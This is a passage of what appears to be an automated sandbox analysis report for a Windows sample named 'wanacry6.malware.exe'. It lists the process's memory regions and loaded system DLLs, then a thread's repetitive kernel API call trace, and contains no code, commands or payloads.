0xdf37650000 end_va = 0xdf377d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df37650000" filename = "" Region: id = 9256 start_va = 0xdf377e0000 end_va = 0xdf38bdffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df377e0000" filename = "" Region: id = 9257 start_va = 0xdf37050000 end_va = 0xdf37050fff entry_point = 0x0 region_type = private name = "private_0x000000df37050000" filename = "" Region: id = 9258 start_va = 0xdf37060000 end_va = 0xdf37060fff entry_point = 0x0 region_type = private name = "private_0x000000df37060000" filename = "" Region: id = 9259 start_va = 0xdf37600000 end_va = 0xdf37600fff entry_point = 0xdf37600000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 9260 start_va = 0xdf37610000 end_va = 0xdf37611fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df37610000" filename = "" Region: id = 9261 start_va = 0xdf38be0000 end_va = 0xdf38c1ffff entry_point = 0x0 region_type = private name = "private_0x000000df38be0000" filename = "" Region: id = 9262 start_va = 0xdf38c20000 end_va = 0xdf38cd9fff entry_point = 0xdf38c4c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9263 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 9264 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 9265 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 9267 start_va = 0xdf37600000 end_va = 0xdf37600fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df37600000" filename = "" Region: id = 9268 start_va = 0xdf38c20000 end_va = 0xdf38d0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df38c20000" filename = "" Region: id = 9269 start_va = 0xdf37600000 end_va = 0xdf37603fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df37600000" filename = "" Region: id = 9270 start_va = 0xdf37620000 end_va = 0xdf37626fff entry_point = 0x0 region_type = private name = "private_0x000000df37620000" filename = "" Region: id = 9271 start_va = 0xdf38d10000 end_va = 0xdf38e0ffff entry_point = 0x0 region_type = private name = "private_0x000000df38d10000" filename = "" Region: id = 9272 start_va = 0xdf38e10000 end_va = 0xdf38f10fff entry_point = 0xdf38e3fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 9273 start_va = 0xdf37630000 end_va = 0xdf37630fff entry_point = 0x0 region_type = private name = "private_0x000000df37630000" filename = "" Region: id = 9274 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 9275 start_va = 0xdf38e10000 end_va = 0xdf390e4fff entry_point = 0xdf38e10000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 9276 start_va = 0xdf38be0000 end_va = 0xdf38be2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df38be0000" filename = "" Region: id = 9277 start_va = 0xdf38c10000 end_va = 0xdf38c1ffff entry_point = 0x0 region_type = private name = "private_0x000000df38c10000" filename = "" Region: id = 9278 start_va = 0xdf38be0000 end_va = 0xdf38be0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df38be0000" filename = "" Region: id = 9279 start_va = 0xdf38bf0000 end_va = 0xdf38bf0fff entry_point = 0x0 region_type = private name = "private_0x000000df38bf0000" filename = "" Region: id = 9280 start_va = 0xdf390f0000 end_va = 0xdf395e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df390f0000" filename = "" Region: id = 9281 start_va = 0xdf395f0000 end_va = 0xdf3a45ffff entry_point = 0xdf395f0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 9282 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9283 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9284 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9285 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9286 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9287 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9288 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9289 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9290 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9292 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9293 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9294 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9295 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9300 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9301 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9302 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9303 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9304 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9305 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9306 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9307 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9308 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9309 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9310 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9334 start_va = 0xdf38c00000 end_va = 0xdf38c00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df38c00000" filename = "" Region: id = 9335 start_va = 0xdf3a460000 end_va = 0xdf3a677fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df3a460000" filename = "" Region: id = 9373 start_va = 0xdf38c00000 end_va = 0xdf38c02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df38c00000" filename = "" Region: id = 9374 start_va = 0xdf3a680000 end_va = 0xdf3d515fff entry_point = 0xdf3a680000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 9375 start_va = 0xdf3d520000 end_va = 0xdf3d520fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df3d520000" filename = "" Region: id = 9376 start_va = 0xdf3d530000 end_va = 0xdf3d929fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df3d530000" filename = "" Region: id = 9377 start_va = 0xdf3d930000 end_va = 0xdf3d973fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000df3d930000" filename = "" Region: id = 9378 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9379 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9380 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 9381 start_va = 0xdf3d980000 end_va = 0xdf3da8cfff entry_point = 0x0 region_type = private name = "private_0x000000df3d980000" filename = "" Thread: id = 838 os_tid = 0xa0c [0134.076] EngAllocMem () returned 0xfffff9014251f030 [0134.076] IoGetCurrentProcess () returned 0xffffe00001078440 [0134.076] MmMapViewOfSection (in: SectionObject=0xffffc0000152be20, Process=0xffffe00001078440, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000218bced0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0xdf3a460000, SectionOffset=0xffffd000218bced0, ViewSize=0xfffff9014251f370) returned 0x0 [0134.076] EngCreateBitmap () returned 0x7a0506bf [0134.076] EngAssociateSurface () returned 0x1 [0134.076] EngLockSurface () returned 0xfffff901424d74f8 [0134.076] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001235120 [0134.076] KeInitializeEvent (in: Event=0xffffe00001235138, Type=0x1, State=0 | out: Event=0xffffe00001235138) [0134.077] IoGetCurrentProcess () returned 0xffffe00001078440 [0134.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.083] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0134.948] IoGetCurrentProcess () returned 0xffffe00001078440 [0134.948] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.948] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.948] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0134.950] IoGetCurrentProcess () returned 0xffffe00001078440 [0134.950] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.950] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.950] IoGetCurrentProcess () returned 0xffffe00001078440 [0134.950] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.950] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.950] IoGetCurrentProcess () returned 0xffffe00001078440 [0134.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.951] IoGetCurrentProcess () returned 0xffffe00001078440 [0134.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.951] IoGetCurrentProcess () returned 0xffffe00001078440 [0134.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.951] IoGetCurrentProcess () returned 0xffffe00001078440 [0134.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.951] IoGetCurrentProcess () returned 0xffffe00001078440 [0134.951] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.951] IoGetCurrentProcess () returned 0xffffe00001078440 [0134.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.952] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.962] IoGetCurrentProcess () returned 0xffffe00001078440 [0134.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0134.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0134.966] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.116] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.116] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0135.116] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.117] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.117] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.117] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.117] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.117] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.117] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.117] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.117] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.117] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.118] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.118] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.118] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.118] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.118] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.118] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.118] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.118] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.118] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.118] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.118] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.118] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.118] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.118] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.119] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.119] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.119] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.119] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.119] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.120] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.120] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.120] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.120] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.120] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.120] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.121] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.121] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.121] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.121] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.121] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.121] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.121] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.122] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.122] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.122] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.122] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.122] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.122] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.122] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.123] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.123] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.123] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.123] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.123] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.123] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.123] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.123] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.123] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.123] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.123] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.123] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.123] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.123] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.123] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.123] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.123] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.124] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.124] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.124] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0135.124] IoGetCurrentProcess () returned 0xffffe00001078440 [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001235120) [0135.124] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion 